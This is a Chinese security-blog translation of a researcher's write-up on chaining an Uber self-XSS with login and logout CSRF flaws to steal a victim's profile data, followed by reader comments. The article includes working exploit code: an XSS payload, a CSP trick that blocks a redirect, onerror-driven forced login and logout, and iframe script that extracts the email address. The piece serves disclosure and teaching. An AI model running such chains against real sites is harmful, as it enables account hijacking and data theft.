Uber三个鸡肋漏洞的妙用

virusdefender 2016-03-25 10:43:00

0x00 简介


作者通过精心设计,将一个鸡肋的的self-XSS和两个鸡肋的csrf变成了一个高质量的漏洞。

原文:
https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/

在Uber一个设置个人信息的页面上,我找到一个非常简单且经典的XSS漏洞。设置项中随便修改一个字段为<script>alert(document.domain);</script>就可以执行并弹框。

一共花了两分钟找到这个漏洞,但是我们要来点更有意思的。

0x01 self-XSS


可以在网页中运行外界可控的任意JS脚本就被称为XSS漏洞,这时候你一般可以去读取其他用户的Cookies,或者发出一些请求。但是如果你只能对自己做这些,而不是其他用户,比如这段代码只会在你能看到的页面里面运行,这就被称为self-XSS。这种情况下,即使我们发现了漏洞,也很难去影响其他人。

我犹豫了一会,但是我后来决定试试,看能不能去掉这个"self"。

0x02 Uber OAuth 登录流程


Ubser的OAuth登录流程也是很经典的

  • 用户访问Uber某个需要登录的网站,比如partners.uber.com
  • 用户被重定向到授权服务器,比如login.uber.com
  • 用户输入账号密码
  • 用户重定向回到partners.uber.com,同时URL中携带code,可以用来换取Access Token

从上面的截图你可以看到,OAuth的回调地址/oauth/callback?code=...并没有使用标准推荐的state参数,这意味着登录功能存在CSRF的问题,但是不好说会不会造成严重的问题。

同时,在退出登录的地方也有一个CSRF漏洞,当然这一般不会认为是漏洞。访问/logout会清除用户partner.uber.com的session,然后再重定向到login.uber.com的退出登录页面,清除login.uber.com的session。

因为我们的payload只存在于自己的账号中,我们可以让其他用户登录进我们的账号,然后payload就会执行,不过登录我们的账号会清除他们之前所有的session,这就让漏洞大打折扣了。所以我们要把漏洞放在一起利用。

0x03 捆绑利用漏洞


我们的计划就是这样的了

  • 首先,让用户登出partner.uber.com,但是不要登出login.uber.com,这样后面可以让用户重新回到原有账号
  • 然后,让用户登录我们的账号,这样payload就会执行
  • 最后,用户登录自己的账号,但是我们的payload仍然在运行,这样就可以盗取信息了

第一步 只在一个域名退出登录

首先发送一个请求到https://partners.uber.com/logout/,然后就可以登录我们的账号了。但是问题在于退出登录的重定向最终会到达https://login.uber.com/logout/,导致另外一个域名也退出登录。我们能不能控制呢?

我的方法就是使用Content Security Police来设置可以加载的域名。我只设置了允许请求partners.uber.comlogin.uber.com就会被浏览器拦截。

<!-- 设置CSP策略阻止访问 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- 退出登录 partners.uber.com -->
<img src="https://partners.uber.com/logout/">

这样是可以的,CSP会有下面的提示

第二步 登录我的账号

这一步相对来说简单了一些,我们向https://partners.uber.com/login/发送一个请求(这一步是必须的,否则我们没法接收到回调)。上面我们用了CSP的trick来阻止部分流程,这里我们就需要用我自己的code来让用户登录了。

因为CSP会触发onerror,我们就可以在那里面跳转到下一步了。

<!-- CSP策略会阻止访问 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- 退出登录 partners.uber.com,在跳转到login.iber.com的时候触发onerror -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
    //初始化登录
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //用我们的code登录
    var redir = function() {
        // 为了方便测试,code放在url hash中,实际需要动态的获取
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

第三步 回到原来的账号

这一部分的代码将会有XSS的payload,在我的账号中。

只要payload一运行,就可以切换回原来的账号了。这个必须在iframe中,因为需要保持payload一直运行。

// 创建一个iframe,让用户退出登录我的账号
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe里面还是用CSP的trick

<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
    //使用用户login.uber.com的session重新登录
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

最后一部分是创建另外一个iframe,这样可以获取一些数据了

//等待几秒,加载个人信息页面,这是用户原始的信息
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //提取email信息
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

因为我们最终的这个iframe是在个人信息页面加载的,是同源的,而且X-Frame-Options也是设置的sameorigin而不是deny,所以我们使用contentWindow是可以访问到里面的内容的。

综合在一起

  • 将第3步payload加入个人信息中
  • 登录自己的账号,取消回调,拿到还未用过的code
  • 让用户访问我们在第2步中创建的页面
  • 这样用户就会退出登录,然后重新登录到我的账号
  • 第3步的payload就会执行
  • 在隐藏的iframe中,退出登录我的账号
  • 在另外一个隐藏的iframe中,重新登录用户的账号
  • 这样我们就有了一个同源的有用户session的iframe了

这个漏洞很有意思,启发我们要在一个更高的层面去挖掘和思考安全漏洞。

评论

M

Manning 2016-03-25 11:06:15

我扶了下眼镜

路人甲 2016-03-25 12:13:54

默默回去修漏洞。。。
周末又没了。

隐形人真忙 2016-03-25 13:50:07

CSP的trick很精彩啊

路人甲 2016-03-25 15:11:01

@Manning 右手中指?

jye33 2016-03-25 22:45:45

叼,真是好文章

mramydnei 2016-03-26 03:09:37

据说Uber的奖金不错

P

px1624 2016-03-27 23:39:13

其实危害不大,因为uber的web版基本就没人用吧。然后app版本根本就没有和别人交互的接口,也就没法中招了~

C

ca1n 2016-04-03 13:34:06

CSP这个学习了

路人甲 2016-04-22 10:30:59

吊, 学习一下这个案例

D

do9gy 2016-05-04 10:29:57

忍不住Mark一下

随机分类

后门 文章:39 篇
网络协议 文章:18 篇
PHP安全 文章:45 篇
Ruby安全 文章:2 篇
Windows安全 文章:88 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录